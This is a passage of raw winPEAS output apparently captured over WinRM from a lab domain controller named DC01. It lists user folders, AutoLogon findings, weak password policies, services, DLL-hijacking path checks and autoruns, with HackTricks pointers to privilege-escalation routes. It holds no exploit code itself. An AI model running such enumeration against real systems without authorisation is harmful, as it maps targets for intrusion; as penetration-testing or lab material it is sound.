WINRM       172.16.55.128   5985   DC01                Password Last Set       :   10/19/2025 7:20:21 AM
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ RDP Sessions
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Ever logged users
WINRM       172.16.55.128   5985   DC01               [X] Exception: Access denied 
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Home folders found
WINRM       172.16.55.128   5985   DC01                 C:\Users\Administrator
WINRM       172.16.55.128   5985   DC01                 C:\Users\administrator .LOOKBACK : administrator  [Allow: AllAccess]                                                                                    
WINRM       172.16.55.128   5985   DC01                 C:\Users\All Users
WINRM       172.16.55.128   5985   DC01                 C:\Users\db-admin
WINRM       172.16.55.128   5985   DC01                 C:\Users\Default
WINRM       172.16.55.128   5985   DC01                 C:\Users\Default User
WINRM       172.16.55.128   5985   DC01                 C:\Users\Public
WINRM       172.16.55.128   5985   DC01                 C:\Users\Service_Maintainer
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Looking for AutoLogon credentials
WINRM       172.16.55.128   5985   DC01                 Some AutoLogon credentials were found
WINRM       172.16.55.128   5985   DC01                 DefaultDomainName             :  LOOKBACK
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Password Policies
WINRM       172.16.55.128   5985   DC01             È Check for a possible brute-force 
WINRM       172.16.55.128   5985   DC01                 Domain: Builtin
WINRM       172.16.55.128   5985   DC01                 SID: S-1-5-32
WINRM       172.16.55.128   5985   DC01                 MaxPasswordAge: 42.22:47:31.7437440
WINRM       172.16.55.128   5985   DC01                 MinPasswordAge: 00:00:00
WINRM       172.16.55.128   5985   DC01                 MinPasswordLength: 0
WINRM       172.16.55.128   5985   DC01                 PasswordHistoryLength: 0
WINRM       172.16.55.128   5985   DC01                 PasswordProperties: 0
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 Domain: LOOKBACK
WINRM       172.16.55.128   5985   DC01                 SID: S-1-5-21-3830242231-3868280746-2763890440
WINRM       172.16.55.128   5985   DC01                 MaxPasswordAge: 42.00:00:00
WINRM       172.16.55.128   5985   DC01                 MinPasswordAge: 1.00:00:00
WINRM       172.16.55.128   5985   DC01                 MinPasswordLength: 0
WINRM       172.16.55.128   5985   DC01                 PasswordHistoryLength: 24
WINRM       172.16.55.128   5985   DC01                 PasswordProperties: 0
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Print Logon Sessions
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¹ Processes Information ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ                                                           
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Interesting Processes -non Microsoft-
WINRM       172.16.55.128   5985   DC01             È Check if any interesting processes for memory dump or if you could overwrite some binary running https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#running-processes                                                
WINRM       172.16.55.128   5985   DC01               [X] Exception: Access denied 
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Vulnerable Leaked Handlers
WINRM       172.16.55.128   5985   DC01             È  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#leaked-handlers                                          
WINRM       172.16.55.128   5985   DC01             È Getting Leaked Handlers, it might take some time...                                                                                                       
WINRM       172.16.55.128   5985   DC01             [#########-]  99% |                       Not Found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¹ Services Information ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ                                                            
WINRM       172.16.55.128   5985   DC01               [X] Exception: Cannot open Service Control Manager on computer &amp;#39;.&amp;#39;. This operation might require other privileges.                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Interesting Services -non Microsoft-
WINRM       172.16.55.128   5985   DC01             È Check if you can overwrite some service binary or perform a DLL hijacking, also check for unquoted paths https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services                                                 
WINRM       172.16.55.128   5985   DC01               [X] Exception: Access denied 
WINRM       172.16.55.128   5985   DC01                 @arcsas.inf,%arcsas_ServiceName%;Adaptec SAS/SATA-II RAID Storport&amp;#39;s Miniport Driver(PMC-Sierra, Inc. - @arcsas.inf,%arcsas_ServiceName%;Adaptec SAS/SATA-II RAID Storport&amp;#39;s Miniport Driver)[System32\drivers\arcsas.sys] - Boot                               
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @netbvbda.inf,%vbd_srv_desc%;QLogic Network Adapter VBD(QLogic Corporation - @netbvbda.inf,%vbd_srv_desc%;QLogic Network Adapter VBD)[System32\drivers\bxvbda.sys] - Boot                                                                                       
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @bxfcoe.inf,%BXFCOE.SVCDESC%;QLogic FCoE Offload driver(Marvell Semiconductor Inc. - @bxfcoe.inf,%BXFCOE.SVCDESC%;QLogic FCoE Offload driver)[System32\drivers\bxfcoe.sys] - Boot                                                                               
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @bxois.inf,%BXOIS.SVCDESC%;QLogic Offload iSCSI Driver(Marvell Semiconductor Inc. - @bxois.inf,%BXOIS.SVCDESC%;QLogic Offload iSCSI Driver)[System32\drivers\bxois.sys] - Boot                                                                                  
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @cht4vx64.inf,%cht4vbd.generic%;Chelsio Virtual Bus Driver(Chelsio Communications - @cht4vx64.inf,%cht4vbd.generic%;Chelsio Virtual Bus Driver)[C:\Windows\System32\drivers\cht4vx64.sys] - System                                                              
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @nete1g3e.inf,%e1000.Service.DispName%;Intel(R) PRO/1000 NDIS 6 Adapter Driver(Intel Corporation - @nete1g3e.inf,%e1000.Service.DispName%;Intel(R) PRO/1000 NDIS 6 Adapter Driver)[C:\Windows\System32\drivers\E1G6032E.sys] - System                           
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @net1ix64.inf,%e1iExpress.Service.DispName%;Intel(R) PRO/1000 PCI Express Network Connection Driver I(Intel Corporation - @net1ix64.inf,%e1iExpress.Service.DispName%;Intel(R) PRO/1000 PCI Express Network Connection Driver I)[C:\Windows\System32\drivers\e1i68x64.sys] - System                                                                                     
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @netevbda.inf,%vbd_srv_desc%;QLogic 10 Gigabit Ethernet Adapter VBD(Marvell Semiconductor Inc. - @netevbda.inf,%vbd_srv_desc%;QLogic 10 Gigabit Ethernet Adapter VBD)[System32\drivers\evbda.sys] - Boot                                                        
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @netevbd0a.inf,%vbd_srv_desc%;QLogic Legacy Ethernet Adapter VBD(QLogic Corporation - @netevbd0a.inf,%vbd_srv_desc%;QLogic Legacy Ethernet Adapter VBD)[System32\drivers\evbd0a.sys] - Boot                                                                     
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @ialpssi_gpio.inf,%iaLPSSi_GPIO.SVCDESC%;Intel(R) Serial IO GPIO Controller Driver(Intel Corporation - @ialpssi_gpio.inf,%iaLPSSi_GPIO.SVCDESC%;Intel(R) Serial IO GPIO Controller Driver)[C:\Windows\System32\drivers\iaLPSSi_GPIO.sys] - System               
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @ialpssi_i2c.inf,%iaLPSSi_I2C.SVCDESC%;Intel(R) Serial IO I2C Controller Driver(Intel Corporation - @ialpssi_i2c.inf,%iaLPSSi_I2C.SVCDESC%;Intel(R) Serial IO I2C Controller Driver)[C:\Windows\System32\drivers\iaLPSSi_I2C.sys] - System                      
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @iastorav.inf,%iaStorAVC.DeviceDesc%;Intel Chipset SATA RAID Controller(Intel Corporation - @iastorav.inf,%iaStorAVC.DeviceDesc%;Intel Chipset SATA RAID Controller)[System32\drivers\iaStorAVC.sys] - Boot                                                     
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @iastorv.inf,%*PNP0600.DeviceDesc%;Intel RAID Controller Windows 7(Intel Corporation - @iastorv.inf,%*PNP0600.DeviceDesc%;Intel RAID Controller Windows 7)[System32\drivers\iaStorV.sys] - Boot                                                                 
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @mlx4_bus.inf,%Ibbus.ServiceDesc%;Mellanox InfiniBand Bus/AL (Filter Driver)(Mellanox - @mlx4_bus.inf,%Ibbus.ServiceDesc%;Mellanox InfiniBand Bus/AL (Filter Driver))[C:\Windows\System32\drivers\ibbus.sys] - System                                           
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @mlx4_bus.inf,%MLX4BUS.ServiceDesc%;Mellanox ConnectX Bus Enumerator(Mellanox - @mlx4_bus.inf,%MLX4BUS.ServiceDesc%;Mellanox ConnectX Bus Enumerator)[C:\Windows\System32\drivers\mlx4_bus.sys] - System                                                        
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @mlx4_bus.inf,%ndfltr.ServiceDesc%;NetworkDirect Service(Mellanox - @mlx4_bus.inf,%ndfltr.ServiceDesc%;NetworkDirect Service)[C:\Windows\System32\drivers\ndfltr.sys] - System                                                                                  
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 NDKPerf Driver(NDKPerf Driver)[system32\drivers\NDKPerf.sys] - System                                                                                   
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @pvscsii.inf,%pvscsi.DiskName%;pvscsi Storage Controller Driver(VMware, Inc. - @pvscsii.inf,%pvscsi.DiskName%;pvscsi Storage Controller Driver)[System32\drivers\pvscsii.sys] - Boot                                                                            
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @netqevbda.inf,%vbd_srv_desc%;QLogic FastLinQ Ethernet VBD(Marvell Semiconductor Inc. - @netqevbda.inf,%vbd_srv_desc%;QLogic FastLinQ Ethernet VBD)[System32\drivers\qevbda.sys] - Boot                                                                         
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @qefcoe.inf,%QEFCOE.SVCDESC%;QLogic FCoE driver(Marvell Semiconductor Inc. - @qefcoe.inf,%QEFCOE.SVCDESC%;QLogic FCoE driver)[System32\drivers\qefcoe.sys] - Boot                                                                                               
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @qeois.inf,%QEOIS.SVCDESC%;QLogic 40G iSCSI Driver(Marvell Semiconductor Inc. - @qeois.inf,%QEOIS.SVCDESC%;QLogic 40G iSCSI Driver)[System32\drivers\qeois.sys] - Boot                                                                                          
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @ql2300.inf,%ql2300i.DriverDesc%;QLogic Fibre Channel STOR Miniport Inbox Driver (wx64)(Marvell Semiconductor Inc. - @ql2300.inf,%ql2300i.DriverDesc%;QLogic Fibre Channel STOR Miniport Inbox Driver (wx64))[System32\drivers\ql2300i.sys] - Boot              
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @ql40xx2i.inf,%ql40xx2i.DriverDesc%;QLogic iSCSI Miniport Inbox Driver(QLogic Corporation - @ql40xx2i.inf,%ql40xx2i.DriverDesc%;QLogic iSCSI Miniport Inbox Driver)[System32\drivers\ql40xx2i.sys] - Boot                                                       
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @qlfcoei.inf,%qlfcoei.DriverDesc%;QLogic [FCoE] STOR Miniport Inbox Driver (wx64)(QLogic Corporation - @qlfcoei.inf,%qlfcoei.DriverDesc%;QLogic [FCoE] STOR Miniport Inbox Driver (wx64))[System32\drivers\qlfcoei.sys] - Boot                                  
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 SQL Server Agent (MSSQLSERVER)(SQL Server Agent (MSSQLSERVER))[&amp;quot;C:\Program Files\Microsoft SQL Server\MSSQL16.MSSQLSERVER\MSSQL\Binn\SQLAGENT.EXE&amp;quot; -i MSSQLSERVER] - System                                                                                     
WINRM       172.16.55.128   5985   DC01                 Executes jobs, monitors SQL Server, fires alerts, and allows automation of some administrative tasks.                                                   
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 OpenSSH Authentication Agent(OpenSSH Authentication Agent)[C:\Windows\System32\OpenSSH\ssh-agent.exe] - Manual                                          
WINRM       172.16.55.128   5985   DC01                 Agent to hold private keys used for public key authentication.                                                                                          
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @Usb4HostRouter.inf,%Usb4HostRouter.SVCDESC%;USB4 Host Router Service(@Usb4HostRouter.inf,%Usb4HostRouter.SVCDESC%;USB4 Host Router Service)[C:\Windows\System32\drivers\Usb4HostRouter.sys] - System                                                           
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @usbstor.inf,%USBSTOR.SvcDesc%;USB Mass Storage Driver(@usbstor.inf,%USBSTOR.SvcDesc%;USB Mass Storage Driver)[C:\Windows\System32\drivers\USBSTOR.SYS] - System
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @usbxhci.inf,%PCI\CC_0C0330.DeviceDesc%;USB xHCI Compliant Host Controller(@usbxhci.inf,%PCI\CC_0C0330.DeviceDesc%;USB xHCI Compliant Host Controller)[C:\Windows\System32\drivers\USBXHCI.SYS] - System                                                        
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 VMware Alias Manager and Ticket Service(VMware, Inc. - VMware Alias Manager and Ticket Service)[&amp;quot;C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe&amp;quot;] - Autoload                                                                              
WINRM       172.16.55.128   5985   DC01                 Alias Manager and Ticket Service
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @oem8.inf,%VM3DSERVICE_DISPLAYNAME%;VMware SVGA Helper Service(VMware, Inc. - @oem8.inf,%VM3DSERVICE_DISPLAYNAME%;VMware SVGA Helper Service)[C:\Windows\system32\vm3dservice.exe] - Autoload                                                                   
WINRM       172.16.55.128   5985   DC01                 @oem8.inf,%VM3DSERVICE_DESCRIPTION%;Helps VMware SVGA driver by collecting and conveying user mode information                                          
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @oem2.inf,%loc.vmciServiceDisplayName%;VMware VMCI Bus Driver(Broadcom Inc. - @oem2.inf,%loc.vmciServiceDisplayName%;VMware VMCI Bus Driver)[System32\drivers\vmci.sys] - Boot                                                                                  
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 VMware Host Guest Client Redirector(VMware, Inc. - VMware Host Guest Client Redirector)[system32\DRIVERS\vmhgfs.sys] - System                           
WINRM       172.16.55.128   5985   DC01                 Implements the VMware HGFS protocol. This protocol provides connectivity to host files provided by the HGFS server.                                     
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 Memory Control Driver(VMware, Inc. - Memory Control Driver)[C:\Windows\system32\DRIVERS\vmmemctl.sys] - Autoload                                        
WINRM       172.16.55.128   5985   DC01                 Driver to provide enhanced memory management of this virtual machine.                                                                                   
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @oem7.inf,%VMMouse.SvcDesc%;VMware Pointing Device(VMware, Inc. - @oem7.inf,%VMMouse.SvcDesc%;VMware Pointing Device)[C:\Windows\System32\drivers\vmmouse.sys] - System                                                                                         
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 VMware Physical Disk Helper(VMware, Inc. - VMware Physical Disk Helper)[C:\Windows\system32\DRIVERS\vmrawdsk.sys] - System                              
WINRM       172.16.55.128   5985   DC01                 VMware Physical Disk Helper
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 VMware Tools(VMware, Inc. - VMware Tools)[&amp;quot;C:\Program Files\VMware\VMware Tools\vmtoolsd.exe&amp;quot;] - Autoload                                               
WINRM       172.16.55.128   5985   DC01                 Provides support for synchronizing objects between the host and guest operating systems.                                                                
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @oem6.inf,%VMUsbMouse.SvcDesc%;VMware USB Pointing Device(VMware, Inc. - @oem6.inf,%VMUsbMouse.SvcDesc%;VMware USB Pointing Device)[C:\Windows\System32\drivers\vmusbmouse.sys] - System                                                                        
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 vSockets Virtual Machine Communication Interface Sockets driver(VMware, Inc. - vSockets Virtual Machine Communication Interface Sockets driver)[system32\DRIVERS\vsock.sys] - Boot                                                                              
WINRM       172.16.55.128   5985   DC01                 vSockets Driver
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @vstxraid.inf,%Driver.DeviceDesc%;VIA StorX Storage RAID Controller Windows Driver(VIA Corporation - @vstxraid.inf,%Driver.DeviceDesc%;VIA StorX Storage RAID Controller Windows Driver)[System32\drivers\vstxraid.sys] - Boot                                  
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @%SystemRoot%\System32\drivers\vwifibus.sys,-257(@%SystemRoot%\System32\drivers\vwifibus.sys,-257)[C:\Windows\System32\drivers\vwifibus.sys] - System   
WINRM       172.16.55.128   5985   DC01                 @%SystemRoot%\System32\drivers\vwifibus.sys,-258
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @mlx4_bus.inf,%WinMad.ServiceDesc%;WinMad Service(Mellanox - @mlx4_bus.inf,%WinMad.ServiceDesc%;WinMad Service)[C:\Windows\System32\drivers\winmad.sys] - System
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @winusb.inf,%WINUSB_SvcName%;WinUsb Driver(@winusb.inf,%WINUSB_SvcName%;WinUsb Driver)[C:\Windows\System32\drivers\WinUSB.SYS] - System                 
WINRM       172.16.55.128   5985   DC01                 @winusb.inf,%WINUSB_SvcDesc%;Generic driver for USB devices                                                                                             
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 @mlx4_bus.inf,%WinVerbs.ServiceDesc%;WinVerbs Service(Mellanox - @mlx4_bus.inf,%WinVerbs.ServiceDesc%;WinVerbs Service)[C:\Windows\System32\drivers\winverbs.sys] - System                                                                                      
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Modifiable Services
WINRM       172.16.55.128   5985   DC01             È Check if you can modify any service https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services              
WINRM       172.16.55.128   5985   DC01                 You cannot modify any service
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Looking if you can modify any service registry                                                                                                 
WINRM       172.16.55.128   5985   DC01             È Check if you can modify the registry of a service https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services-registry-modify-permissions                                                                            
WINRM       172.16.55.128   5985   DC01                 [-] Looks like you cannot change the registry of any service...                                                                                         
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Checking write permissions in PATH folders (DLL Hijacking)                                                                                     
WINRM       172.16.55.128   5985   DC01             È Check for DLL Hijacking in PATH folders https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dll-hijacking     
WINRM       172.16.55.128   5985   DC01                 C:\Windows\system32
WINRM       172.16.55.128   5985   DC01                 C:\Windows
WINRM       172.16.55.128   5985   DC01                 C:\Windows\System32\Wbem
WINRM       172.16.55.128   5985   DC01                 C:\Windows\System32\WindowsPowerShell\v1.0\
WINRM       172.16.55.128   5985   DC01                 C:\Windows\System32\OpenSSH\
WINRM       172.16.55.128   5985   DC01                 C:\Program Files (x86)\Microsoft SQL Server\160\Tools\Binn\                                                                                             
WINRM       172.16.55.128   5985   DC01                 C:\Program Files\Microsoft SQL Server\160\Tools\Binn\                                                                                                   
WINRM       172.16.55.128   5985   DC01                 C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\                                                                                   
WINRM       172.16.55.128   5985   DC01                 C:\Program Files\Microsoft SQL Server\160\DTS\Binn\                                                                                                     
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¹ Applications Information ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Current Active Window Application
WINRM       172.16.55.128   5985   DC01               [X] Exception: Object reference not set to an instance of an object.                                                                                      
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Installed Applications --Via Program Files/Uninstall registry--                                                                                
WINRM       172.16.55.128   5985   DC01             È Check if you can modify installed software https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#applications   
WINRM       172.16.55.128   5985   DC01                 C:\Program Files (x86)\Microsoft Visual Studio\Installer                                                                                                
WINRM       172.16.55.128   5985   DC01                 C:\Program Files\Common Files
WINRM       172.16.55.128   5985   DC01                 C:\Program Files\desktop.ini
WINRM       172.16.55.128   5985   DC01                 C:\Program Files\Internet Explorer
WINRM       172.16.55.128   5985   DC01                 C:\Program Files\Microsoft
WINRM       172.16.55.128   5985   DC01                 C:\Program Files\Microsoft SQL Server
WINRM       172.16.55.128   5985   DC01                 C:\Program Files\Microsoft SQL Server Management Studio 21                                                                                              
WINRM       172.16.55.128   5985   DC01                 C:\Program Files\Microsoft Visual Studio 10.0
WINRM       172.16.55.128   5985   DC01                 C:\Program Files\Microsoft.NET
WINRM       172.16.55.128   5985   DC01                 C:\Program Files\ModifiableWindowsApps
WINRM       172.16.55.128   5985   DC01                 C:\Program Files\PackageManagement
WINRM       172.16.55.128   5985   DC01                 C:\Program Files\Uninstall Information
WINRM       172.16.55.128   5985   DC01                 C:\Program Files\VMware
WINRM       172.16.55.128   5985   DC01                 C:\Program Files\Windows Defender
WINRM       172.16.55.128   5985   DC01                 C:\Program Files\Windows Defender Advanced Threat Protection                                                                                            
WINRM       172.16.55.128   5985   DC01                 C:\Program Files\Windows Mail
WINRM       172.16.55.128   5985   DC01                 C:\Program Files\Windows Media Player
WINRM       172.16.55.128   5985   DC01                 C:\Program Files\Windows NT
WINRM       172.16.55.128   5985   DC01                 C:\Program Files\Windows Photo Viewer
WINRM       172.16.55.128   5985   DC01                 C:\Program Files\Windows Sidebar
WINRM       172.16.55.128   5985   DC01                 C:\Program Files\WindowsApps
WINRM       172.16.55.128   5985   DC01                 C:\Program Files\WindowsPowerShell
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Autorun Applications
WINRM       172.16.55.128   5985   DC01             È Check if you can modify other users AutoRuns binaries (Note that is normal that you can modify HKCU registry and binaries indicated there) https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.html                                                                                           
WINRM       172.16.55.128   5985   DC01             Error getting autoruns from WMIC: System.Management.ManagementException: Access denied                                                                      
WINRM       172.16.55.128   5985   DC01                at System.Management.ThreadDispatch.Start()
WINRM       172.16.55.128   5985   DC01                at System.Management.ManagementScope.Initialize()
WINRM       172.16.55.128   5985   DC01                at System.Management.ManagementObjectSearcher.Initialize()                                                                                               
WINRM       172.16.55.128   5985   DC01                at System.Management.ManagementObjectSearcher.Get()                                                                                                      
WINRM       172.16.55.128   5985   DC01                at winPEAS.Info.ApplicationInfo.AutoRuns.GetAutoRunsWMIC()                                                                                               
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Windows\CurrentVersion\Run                                                                                             
WINRM       172.16.55.128   5985   DC01                 Key: SecurityHealth
WINRM       172.16.55.128   5985   DC01                 Folder: C:\Windows\system32
WINRM       172.16.55.128   5985   DC01                 File: C:\Windows\system32\SecurityHealthSystray.exe
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 RegPath: HKLM\Software\Microsoft\Windows\CurrentVersion\Run                                                                                             
